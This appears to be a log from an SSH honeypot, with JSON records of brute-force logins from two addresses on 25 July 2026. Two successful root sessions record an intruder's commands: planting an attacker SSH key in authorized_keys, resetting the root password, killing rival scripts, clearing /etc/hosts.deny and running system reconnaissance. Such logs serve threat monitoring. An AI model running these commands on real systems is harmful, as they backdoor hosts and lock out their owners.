[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:SX1e8jnHCqwC"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 7683683cae8e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 29.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "7683683cae8e",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:37:46.121876Z",
  "end_time": "2026-07-25T21:38:15.736699Z",
  "duration": "29.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Akshay@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:SX1e8jnHCqwC\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:SX1e8jnHCqwC\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:37:12.792664 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: usuario1

Record ID: cefdeb36354d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "cefdeb36354d",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:37:12.792664Z",
  "end_time": "2026-07-25T21:37:16.039463Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "usuario1",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:36:34.284478 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 113e579a79f9
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "113e579a79f9",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:36:34.284478Z",
  "end_time": "2026-07-25T21:38:34.296885Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:35:57.926156 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b769130cc713
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b769130cc713",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:35:57.926156Z",
  "end_time": "2026-07-25T21:37:57.938068Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:35:21.591990 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2a155c00e4ff
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "2a155c00e4ff",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:35:21.591990Z",
  "end_time": "2026-07-25T21:37:21.602672Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:34:04.349822 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b88d3d6bdcdd
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b88d3d6bdcdd",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:34:04.349822Z",
  "end_time": "2026-07-25T21:36:04.360885Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:33:33.939663 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 235fdb51a99c
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "235fdb51a99c",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:33:33.939663Z",
  "end_time": "2026-07-25T21:33:34.810636Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.181.16.142
2026-07-25 21:32:12.089276 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 15fa3427483e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "15fa3427483e",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:32:12.089276Z",
  "end_time": "2026-07-25T21:34:12.101235Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:31:38.391722 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2fdb0f879a2f
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "2fdb0f879a2f",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:31:38.391722Z",
  "end_time": "2026-07-25T21:33:38.399884Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:31:06.228631 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 75e7c7ec6d15
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "75e7c7ec6d15",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:31:06.228631Z",
  "end_time": "2026-07-25T21:31:07.513381Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.181.16.142
2026-07-25 21:29:30.758641 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 20248a287362
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "20248a287362",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:29:30.758641Z",
  "end_time": "2026-07-25T21:31:30.765464Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:29:27.168207 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / admin@123#

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:qPiDNiFAXPBJ"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 564946eb7f7f
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 30.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "564946eb7f7f",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:29:27.168207Z",
  "end_time": "2026-07-25T21:29:57.154508Z",
  "duration": "30.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin@123#"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:qPiDNiFAXPBJ\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:qPiDNiFAXPBJ\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:28:52.843036 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 479048ca03c8
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "479048ca03c8",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:28:52.843036Z",
  "end_time": "2026-07-25T21:28:53.733105Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
193.46.255.86
2026-07-25 21:28:41.996104 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / Test@123

Record ID: 447613f5d1f7
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.1s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "447613f5d1f7",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-25T21:28:41.996104Z",
  "end_time": "2026-07-25T21:28:48.122559Z",
  "duration": "6.1",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "Test@123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:28:07.467969 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ganesh

Record ID: 15c730b7e0eb
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "15c730b7e0eb",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:28:07.467969Z",
  "end_time": "2026-07-25T21:28:10.784828Z",
  "duration": "3.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ganesh",
      "pass": "ganesh123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:26:53.466448 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c03a9e80c226
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "c03a9e80c226",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:26:53.466448Z",
  "end_time": "2026-07-25T21:28:53.471349Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}